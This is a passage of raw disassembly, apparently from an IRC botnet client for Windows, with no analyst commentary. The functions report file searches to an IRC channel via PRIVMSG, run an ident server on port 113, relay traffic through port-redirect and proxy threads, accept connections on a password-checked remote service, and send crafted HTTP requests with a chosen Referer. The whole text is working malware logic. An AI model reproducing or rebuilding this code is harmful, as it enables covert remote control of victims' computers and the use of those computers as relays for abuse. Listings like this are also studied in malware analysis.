[ebp+var_248] push ebx push eax call sub_41BC70 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4E3018 ; send cmp [ebp+arg_8], ebx jz short loc_410859 push 7D0h call ds:dword_4F534C ; Sleep loc_410859: ; CODE XREF: sub_410287+225j ; sub_410287+240j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call ds:off_4F53EC test eax, eax jnz loc_4104A6 loc_410871: ; CODE XREF: sub_410287+214j push [ebp+arg_0] call ds:off_4F53E0 cmp [ebp+arg_8], ebx jz short loc_4108B4 mov eax, [ebp+var_8] cdq push edx push eax call sub_41727E pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_41727E pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41EA60 add esp, 14h jmp short loc_4108E2 ; --------------------------------------------------------------------------- loc_4108B4: ; CODE XREF: sub_410287+5F6j cmp [ebp+arg_C], ebx lea eax, [ebp+var_248] jz short loc_4108CE push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41EA60 pop ecx pop ecx jmp short loc_4108E2 ; --------------------------------------------------------------------------- loc_4108CE: ; CODE XREF: sub_410287+636j push [ebp+var_8] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41EA60 add esp, 10h loc_4108E2: ; CODE XREF: sub_410287+62Bj ; sub_410287+645j lea eax, [ebp+var_248] push ebx push eax call sub_41BC70 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4E3018 ; send pop edi pop esi xor eax, eax pop ebx leave retn sub_410287 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410908 proc near ; CODE XREF: sub_40FE5C+135p var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call ds:off_4F53C0 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4109C0 push esi push ebx call ds:off_4F53DC cmp eax, esi mov [ebp+arg_4], eax jz short loc_4109B9 loc_41094D: ; CODE XREF: sub_410908+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41E4B0 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_41096A mov edi, [ebp+arg_4] loc_41096A: ; CODE XREF: sub_410908+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call ds:off_4F53F4 lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call ds:off_4F53BC push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call ds:dword_4E3018 ; send cmp eax, 0FFFFFFFFh jnz short loc_4109B4 call ds:dword_4E2F5C ; WSAGetLastError cmp eax, 2733h jnz short loc_4109B9 xor eax, eax loc_4109B4: ; CODE XREF: sub_410908+9Bj sub [ebp+arg_4], eax jnz short loc_41094D loc_4109B9: ; CODE XREF: sub_410908+43j ; sub_410908+A8j push ebx call ds:off_4F533C loc_4109C0: ; CODE XREF: sub_410908+30j pop edi pop esi pop ebx leave retn sub_410908 endp ; =============== S U B R O U T I N E ======================================= sub_4109C5 proc near ; CODE XREF: sub_40FFD8+17Bp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41BC70 test eax, eax pop ecx jbe short loc_4109EE loc_4109D8: ; CODE XREF: sub_4109C5+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_4109E2 mov byte ptr [esi+edi], 2Fh loc_4109E2: ; CODE XREF: sub_4109C5+17j push edi inc esi call sub_41BC70 cmp esi, eax pop ecx jb short loc_4109D8 loc_4109EE: ; CODE XREF: sub_4109C5+11j mov eax, edi pop edi pop esi retn sub_4109C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109F3 proc near ; CODE XREF: sub_401C87+531Dp var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call ds:dword_4E2F38 ; WSAStartup push 6 push 1 push 2 call ds:dword_4E3048 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41E4B0 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call ds:dword_4E2FC8 ; htons push [ebp+arg_10] mov [ebp+var_E], ax call sub_40AD91 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call ds:dword_4E2F70 ; connect cmp eax, 0FFFFFFFFh jz short loc_410AD0 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410A6C mov eax, offset dword_4E5D10 loc_410A6C: ; CODE XREF: sub_4109F3+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41EC30 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41BC70 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call ds:dword_4E3018 ; send push esi lea eax, [ebp+var_110] push edi push eax call sub_41FBF0 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call ds:dword_4E2FE0 ; recv pop esi loc_410AD0: ; CODE XREF: sub_4109F3+6Bj push ebx call ds:dword_4E3060 ; closesocket call ds:dword_4E2F20 ; WSACleanup lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41EA60 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_410B10 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 14h loc_410B10: ; CODE XREF: sub_4109F3+102j pop edi pop ebx leave retn sub_4109F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_410B14 proc near ; DATA XREF: sub_401404+430o ; sub_401C87+4340o var_238 = byte ptr -238h var_38 = byte ptr -38h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = dword ptr -28h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp+var_1C] push esi push eax mov [ebp+var_8], esi call sub_41E4B0 add esp, 0Ch mov [ebp+var_1C], 2 push 71h call ds:dword_4E2FC8 ; htons push esi push 1 push 2 mov [ebp+var_1A], ax mov [ebp+var_18], esi call ds:dword_4E3048 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410C75 mov eax, [ebp+arg_0] push edi imul eax, 234h mov ds:dword_455F0C[eax], ebx lea eax, [ebp+var_1C] push eax push ebx call ds:dword_4E2FF4 ; bind cmp eax, 0FFFFFFFFh jz loc_410C75 push 5 push ebx call ds:dword_4E2FF0 ; listen cmp eax, 0FFFFFFFFh jz loc_410C75 mov [ebp+var_C], edi mov edi, 200h loc_410B9F: ; CODE XREF: sub_410B14+EAj ; sub_410B14+14Aj ... lea eax, [ebp+var_C] push eax lea eax, [ebp+var_2C] push eax push ebx call ds:dword_4E305C ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_410C70 movzx eax, [ebp+var_2A] push eax push [ebp+var_28] call ds:dword_4E3054 ; inet_ntoa push eax lea eax, [ebp+var_238] push offset dword_44AEB8 push eax call sub_41EA60 lea eax, [ebp+var_238] push eax call sub_415A3C add esp, 14h lea eax, [ebp+var_238] push esi push edi push eax push [ebp+var_4] call ds:dword_4E2FE0 ; recv cmp eax, 0FFFFFFFFh jz short loc_410B9F lea eax, [ebp+var_238] push esi push eax call sub_418A5E push 0Ch lea eax, [ebp+var_38] push esi push eax call sub_41E4B0 push esi push esi lea eax, [ebp+var_38] push 2 push eax call sub_40B38F push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp+var_238] push edi push eax call sub_41EC30 add esp, 34h lea eax, [ebp+var_238] push esi push eax call sub_41BC70 pop ecx push eax lea eax, [ebp+var_238] push eax push [ebp+var_4] call ds:dword_4E3018 ; send cmp eax, 0FFFFFFFFh jz loc_410B9F mov [ebp+var_8], 1 jmp loc_410B9F ; --------------------------------------------------------------------------- loc_410C70: ; CODE XREF: sub_410B14+A0j cmp [ebp+var_8], esi jnz short loc_410C9C loc_410C75: ; CODE XREF: sub_410B14+47j ; sub_410B14+6Bj ... call ds:dword_4E2F5C ; WSAGetLastError push eax lea eax, [ebp+var_238] push offset dword_44AEFC push eax call sub_41EA60 lea eax, [ebp+var_238] push eax call sub_415A3C add esp, 10h loc_410C9C: ; CODE XREF: sub_410B14+15Fj push ebx call ds:dword_4E3060 ; closesocket push [ebp+var_4] call ds:dword_4E3060 ; closesocket push [ebp+arg_0] call sub_40B9A7 pop ecx push esi call ds:dword_4F53A0 ; ExitThread pop edi pop esi pop ebx sub_410B14 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_410CBF proc near ; DATA XREF: sub_401C87+61EDo var_350 = byte ptr -350h var_150 = byte ptr -150h var_14C = dword ptr -14Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_30 = dword ptr -30h var_28 = byte ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = byte ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_150] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp+var_14] push esi push eax call sub_41E4B0 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_44] call ds:dword_4E2FC8 ; htons push 6 push 1 push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi mov [ebp+var_4], edi call ds:dword_4E3048 ; socket cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_410E2A mov ecx, [ebp+var_40] push 1 imul ecx, 234h push 401h push esi push eax mov ds:dword_455F0C[ecx], eax call ds:dword_4E2ED8 ; WSAAsyncSelect lea eax, [ebp+var_14] push edi push eax push [ebp+arg_0] call ds:dword_4E2FF4 ; bind test eax, eax jnz loc_410E2A push 0Ah push [ebp+arg_0] call ds:dword_4E2FF0 ; listen test eax, eax jnz loc_410E2A loc_410D6F: ; CODE XREF: sub_410CBF+C6j ; sub_410CBF+166j lea eax, [ebp+var_4] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_0] call ds:dword_4E305C ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_410D6F movzx eax, [ebp+var_26] push [ebp+var_40] mov [ebp+var_14C], edi mov [ebp+var_30], esi push eax push [ebp+var_24] call ds:dword_4E3054 ; inet_ntoa push eax lea eax, [ebp+var_350] push offset unk_44AF28 push eax call sub_41EA60 push edi lea eax, [ebp+var_350] push 18h push eax call sub_40B691 mov [ebp+var_3C], eax imul eax, 234h mov ecx, [ebp+var_40] add esp, 20h mov ds:dword_455F04[eax], ecx lea eax, [ebp+var_18] push eax lea eax, [ebp+var_150] push esi push eax push offset sub_410E4F push esi push esi call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_3C] imul ecx, 234h cmp eax, esi mov ds:dword_455F14[ecx], eax jnz short loc_410E20 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_44AF70 call sub_415AB0 pop ecx pop ecx jmp short loc_410E2D ; --------------------------------------------------------------------------- loc_410E18: ; CODE XREF: sub_410CBF+164j push 32h call ds:dword_4F534C ; Sleep loc_410E20: ; CODE XREF: sub_410CBF+142j cmp [ebp+var_30], esi jz short loc_410E18 jmp loc_410D6F ; --------------------------------------------------------------------------- loc_410E2A: ; CODE XREF: sub_410CBF+63j ; sub_410CBF+97j ... mov edi, [ebp+arg_0] loc_410E2D: ; CODE XREF: sub_410CBF+157j push edi call ds:dword_4E3060 ; closesocket push [ebp+arg_0] call ds:dword_4E3060 ; closesocket push [ebp+var_40] call sub_40B9A7 pop ecx push esi call ds:dword_4F53A0 ; ExitThread pop edi pop esi sub_410CBF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_410E4F proc near ; DATA XREF: sub_410CBF+124o var_1344 = byte ptr -1344h var_344 = byte ptr -344h var_144 = byte ptr -144h var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1344h call sub_41EF80 mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd mov ebx, [ebp+var_30] xor ecx, ecx inc ecx push 6 push ecx push 2 mov [eax+120h], ecx mov [ebp+var_4], ebx call ds:dword_4E3048 ; socket mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+arg_0], esi jz loc_410FB2 push 10h lea eax, [ebp+var_18] push edi push eax call sub_41E4B0 add esp, 0Ch mov [ebp+var_18], 2 push [ebp+var_3C] call ds:dword_4E2FC8 ; htons mov [ebp+var_16], ax lea eax, [ebp+var_13C] push eax call ds:dword_4E3008 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_410EDF lea eax, [ebp+var_13C] push eax call ds:dword_4E304C ; gethostbyname jmp short loc_410EED ; --------------------------------------------------------------------------- loc_410EDF: ; CODE XREF: sub_410E4F+7Fj push 2 lea eax, [ebp+var_8] push 4 push eax call ds:dword_4E2F80 ; gethostbyaddr loc_410EED: ; CODE XREF: sub_410E4F+8Ej cmp eax, edi jz loc_410FB2 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push esi call ds:dword_4E2F70 ; connect cmp eax, 0FFFFFFFFh jz loc_410FB2 movzx eax, [ebp+var_16] push [ebp+var_34] mov [ebp+var_20], edi push eax push [ebp+var_14] call ds:dword_4E3054 ; inet_ntoa push eax lea eax, [ebp+var_344] push offset unk_44AFB0 push eax call sub_41EA60 push esi lea eax, [ebp+var_344] push 18h push eax call sub_40B691 imul ebx, 234h mov [ebp+var_30], eax imul eax, 234h mov ecx, [ebp+var_34] lea esi, dword_455F0C[ebx] mov ds:dword_455F04[eax], ecx add esp, 20h mov ecx, [esi] mov ds:dword_455F10[eax], ecx lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_144] push edi push eax push offset sub_411037 push edi push edi call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_30] imul ecx, 234h cmp eax, edi mov ds:dword_455F14[ecx], eax jnz short loc_410FEB call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_44AFF8 call sub_415AB0 pop ecx pop ecx loc_410FB2: ; CODE XREF: sub_410E4F+44j ; sub_410E4F+A0j ... mov eax, [ebp+var_4] imul eax, 234h push ds:dword_455F0C[eax] call ds:dword_4E3060 ; closesocket push [ebp+arg_0] call ds:dword_4E3060 ; closesocket push [ebp+var_4] call sub_40B9A7 pop ecx push edi call ds:dword_4F53A0 ; ExitThread pop edi pop esi pop ebx loc_410FE3: ; CODE XREF: sub_410E4F+19Fj push 32h call ds:dword_4F534C ; Sleep loc_410FEB: ; CODE XREF: sub_410E4F+14Ej cmp [ebp+var_20], edi jz short loc_410FE3 mov ebx, 1000h loc_410FF5: ; CODE XREF: sub_410E4F+1E1j push ebx lea eax, [ebp+var_1344] push edi push eax call sub_41E4B0 add esp, 0Ch lea eax, [ebp+var_1344] push edi push ebx push eax push dword ptr [esi] call ds:dword_4E2FE0 ; recv cmp eax, edi jle short loc_410FB2 push edi push eax lea eax, [ebp+var_1344] push eax push [ebp+arg_0] call ds:dword_4E3018 ; send cmp eax, 0FFFFFFFFh jnz short loc_410FF5 jmp loc_410FB2 sub_410E4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411037 proc near ; DATA XREF: sub_410E4F+130o var_1128 = byte ptr -1128h var_128 = byte ptr -128h var_14 = dword ptr -14h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1128h call sub_41EF80 mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_128] rep movsd mov esi, [ebp+var_14] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_41106E: ; CODE XREF: sub_411037+7Cj push edi lea eax, [ebp+var_1128] push 0 push eax call sub_41E4B0 add esp, 0Ch lea eax, [ebp+var_1128] push 0 push edi push eax push ds:dword_455F10[esi] call ds:dword_4E2FE0 ; recv test eax, eax jle short loc_4110B5 push 0 push eax lea eax, [ebp+var_1128] push eax push ds:dword_455F0C[esi] call ds:dword_4E3018 ; send cmp eax, 0FFFFFFFFh jnz short loc_41106E loc_4110B5: ; CODE XREF: sub_411037+61j push ds:dword_455F10[esi] call ds:dword_4E3060 ; closesocket push [ebp+var_14] call sub_40B9A7 pop ecx push 0 call ds:dword_4F53A0 ; ExitThread pop edi pop esi sub_411037 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4110D4 proc near ; DATA XREF: sub_411349+1BEo var_3D4 = byte ptr -3D4h var_350 = byte ptr -350h var_208 = dword ptr -208h var_1F4 = dword ptr -1F4h var_1F0 = dword ptr -1F0h var_F0 = byte ptr -0F0h var_B0 = byte ptr -0B0h var_4C = byte ptr -4Ch var_3C = byte ptr -3Ch var_2C = byte ptr -2Ch var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 78h xor ebx, ebx pop ecx mov esi, eax lea edi, [ebp+var_3D4] inc ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp+var_208] mov [ebp+arg_0], eax imul eax, 234h lea esi, dword_455F0C[eax] xor edi, edi mov [ebp+var_C], 1Eh mov [ebp+var_8], edi mov eax, [esi] mov [ebp+var_1F4], ebx mov [ebp+var_1F0], eax lea eax, [ebp+var_C] push eax push edi lea eax, [ebp+var_1F4] push edi push eax push edi call ds:dword_4E2FB0 ; select test eax, eax jnz short loc_411158 push dword ptr [esi] call ds:dword_4E3060 ; closesocket push [ebp+arg_0] call sub_40B9A7 pop ecx push edi call ds:dword_4F53A0 ; ExitThread loc_411158: ; CODE XREF: sub_4110D4+6Aj push edi lea eax, [ebp+var_3C] push ebx push eax push dword ptr [esi] call ds:dword_4E2FE0 ; recv lea eax, [ebp+var_2C] push 10h push eax push dword ptr [esi] call sub_4112D9 lea eax, [ebp+var_4C] push 10h push eax push dword ptr [esi] call sub_4112D9 lea eax, [ebp+var_F0] push 40h push eax push dword ptr [esi] call sub_4112D9 add esp, 24h lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax lea eax, [ebp+var_1C] push eax push dword ptr [esi] call ds:dword_4E2F1C ; getpeername test eax, eax jz short loc_4111D1 call ds:dword_4E2F5C ; WSAGetLastError push eax push offset unk_44B038 call sub_415AB0 push [ebp+arg_0] call sub_40B9A7 add esp, 0Ch push edi call ds:dword_4F53A0 ; ExitThread loc_4111D1: ; CODE XREF: sub_4110D4+D8j push 2 lea eax, [ebp+var_18] push 4 push eax call ds:dword_4E2F80 ; gethostbyaddr cmp eax, edi jnz short loc_4111FB push [ebp+var_18] call ds:dword_4E3054 ; inet_ntoa push eax lea eax, [ebp+var_B0] push eax call sub_41EA60 jmp short loc_411209 ; --------------------------------------------------------------------------- loc_4111FB: ; CODE XREF: sub_4110D4+10Dj push dword ptr [eax] lea eax, [ebp+var_B0] push eax call sub_41F620 loc_411209: ; CODE XREF: sub_4110D4+125j pop ecx pop ecx push edi push ebx push offset dword_4E5D20 push dword ptr [esi] call ds:dword_4E3018 ; send cmp ds:dword_4E5D18, edi jnz short loc_41126B push [ebp+var_18] lea eax, [ebp+var_350] push eax lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2C] push eax call sub_41131A add esp, 10h test eax, eax jnz short loc_41126B push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call ds:dword_4E3018 ; send push dword ptr [esi] call ds:dword_4E3060 ; closesocket push [ebp+arg_0] call sub_40B9A7 pop ecx push edi call ds:dword_4F53A0 ; ExitThread loc_41126B: ; CODE XREF: sub_4110D4+14Cj ; sub_4110D4+16Dj lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2C] push eax push offset unk_44B078 call sub_415AB0 push [ebp+arg_0] call sub_4115D0 add esp, 10h test eax, eax jnz short loc_4112B2 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_44B0A0 call sub_415AB0 push [ebp+arg_0] call sub_40B9A7 add esp, 0Ch push ebx call ds:dword_4F53A0 ; ExitThread loc_4112B2: ; CODE XREF: sub_4110D4+1B9j lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2C] push eax push offset unk_44B0CC call sub_415AB0 push [ebp+arg_0] call sub_40B9A7 add esp, 10h push edi call ds:dword_4F53A0 ; ExitThread sub_4110D4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4112D9 proc near ; CODE XREF: sub_4110D4+9Ap ; sub_4110D4+A7p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi mov esi, [ebp+arg_4] loc_4112E0: ; CODE XREF: sub_4112D9+2Aj push 0 lea eax, [ebp+arg_4+3] push 1 push eax push [ebp+arg_0] call ds:dword_4E2FE0 ; recv cmp eax, 1 jnz short loc_411316 mov al, byte ptr [ebp+arg_4+3] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_41130B test al, al jnz short loc_4112E0 xor eax, eax inc eax loc_411308: ; CODE XREF: sub_4112D9+3Fj pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_41130B: ; CODE XREF: sub_4112D9+26j push offset unk_44B0F8 call sub_415AB0 pop ecx loc_411316: ; CODE XREF: sub_4112D9+1Bj xor eax, eax jmp short loc_411308 sub_4112D9 endp ; =============== S U B R O U T I N E ======================================= sub_41131A proc near ; CODE XREF: sub_4110D4+163p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41F7E0 pop ecx test eax, eax pop ecx jz short loc_411345 push [esp+arg_4] push [esp+4+arg_0] push offset unk_44B124 call sub_415AB0 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_411345: ; CODE XREF: sub_41131A+11j xor eax, eax inc eax retn sub_41131A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411349 proc near ; DATA XREF: sub_401C87+235Eo var_5DC = dword ptr -5DCh var_5A4 = byte ptr -5A4h var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5A4h mov eax, [ebp+arg_0] push esi push edi push 78h pop ecx mov esi, eax lea edi, [ebp+var_214] rep movsd xor edi, edi inc edi mov [eax+1DCh], edi lea eax, [ebp+var_5A4] push eax push 202h call ds:dword_4E2F38 ; WSAStartup xor esi, esi cmp eax, esi jz short loc_4113A2 push eax push offset unk_44B15C call sub_415AB0 push [ebp+var_4C] call sub_40B9A7 add esp, 0Ch push edi call ds:dword_4F53A0 ; ExitThread loc_4113A2: ; CODE XREF: sub_411349+3Aj push edi push offset loc_4115C6 call ds:dword_4F53F8 ; SetConsoleCtrlHandler test eax, eax jnz short loc_4113DB call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_44B188 call sub_415AB0 pop ecx pop ecx call ds:dword_4E2F20 ; WSACleanup push [ebp+var_4C] call sub_40B9A7 pop ecx push edi call ds:dword_4F53A0 ; ExitThread loc_4113DB: ; CODE XREF: sub_411349+67j push ebx push 10h lea eax, [ebp+var_20] push esi push eax call sub_41E4B0 add esp, 0Ch mov [ebp+var_20], 2 push [ebp+var_50] call ds:dword_4E2FC8 ; htons push 6 push edi push 2 mov [ebp+var_1E], ax mov [ebp+var_1C], esi call ds:dword_4E3048 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_411551 mov eax, [ebp+var_4C] push 10h imul eax, 234h mov ds:dword_455F0C[eax], ebx lea eax, [ebp+var_20] push eax push ebx call ds:dword_4E2FF4 ; bind test eax, eax jnz loc_411551 push 7FFFFFFFh push ebx call ds:dword_4E2FF0 ; listen test eax, eax jnz loc_411551 push offset unk_44B1CC mov [ebp+var_10], 0Ch mov [ebp+var_C], esi mov [ebp+var_8], esi call sub_415A3C pop ecx mov [ebp+arg_0], edi loc_41146A: ; CODE XREF: sub_411349+15Aj ; sub_411349+203j lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax lea eax, [ebp+var_34] push eax push ebx call ds:dword_4E305C ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz loc_411554 push [ebp+arg_0] lea eax, [ebp+arg_0] push eax push 8 push 0FFFFh push edi call ds:dword_4E2FA8 ; setsockopt cmp eax, 0FFFFFFFFh jz short loc_41146A movzx eax, [ebp+var_32] push [ebp+var_4C] mov [ebp+var_38], esi push eax push [ebp+var_30] call ds:dword_4E3054 ; inet_ntoa push eax lea eax, [ebp+var_414] push offset unk_44B208 push eax call sub_41EA60 lea eax, [ebp+var_414] push eax call sub_415A3C push edi lea eax, [ebp+var_414] push 9 push eax call sub_40B691 mov [ebp+var_48], eax imul eax, 234h mov ecx, [ebp+var_4C] add esp, 24h mov ds:dword_455F04[eax], ecx lea eax, [ebp+var_24] push eax lea eax, [ebp+var_214] push esi push eax push offset sub_4110D4 lea eax, [ebp+var_10] push esi push eax call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_48] imul ecx, 234h cmp eax, esi mov ds:dword_455F14[ecx], eax jnz short loc_411547 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_44B24C call sub_415AB0 pop ecx pop ecx jmp short loc_411554 ; --------------------------------------------------------------------------- loc_41153F: ; CODE XREF: sub_411349+201j push 32h call ds:dword_4F534C ; Sleep loc_411547: ; CODE XREF: sub_411349+1DFj cmp [ebp+var_38], esi jz short loc_41153F jmp loc_41146A ; --------------------------------------------------------------------------- loc_411551: ; CODE XREF: sub_411349+C8j ; sub_411349+ECj ... mov edi, [ebp+arg_0] loc_411554: ; CODE XREF: sub_411349+13Cj ; sub_411349+1F4j call ds:dword_4E2F5C ; WSAGetLastError push eax lea eax, [ebp+var_414] push offset unk_44B288 push eax call sub_41EA60 add esp, 0Ch cmp [ebp+var_3C], esi jnz short loc_411594 push esi lea eax, [ebp+var_414] push [ebp+var_40] push eax lea eax, [ebp+var_210] push eax push [ebp+var_214] call sub_409C75 add esp, 14h loc_411594: ; CODE XREF: sub_411349+229j lea eax, [ebp+var_414] push eax call sub_415A3C pop ecx push edi call ds:dword_4E3060 ; closesocket push ebx call ds:dword_4E3060 ; closesocket call ds:dword_4E2F20 ; WSACleanup push [ebp+var_4C] call sub_40B9A7 pop ecx push esi call ds:dword_4F53A0 ; ExitThread pop ebx loc_4115C6: ; DATA XREF: sub_411349+5Ao xor eax, eax cmp [esp+5E0h+var_5DC], eax setz al retn sub_411349 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4115D0 proc near ; CODE XREF: sub_4110D4+1AFp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_411725 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, ds:dword_455F0C[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, ds:dword_4F5350 pop ecx lea eax, [ebp+arg_0] push eax push ebx 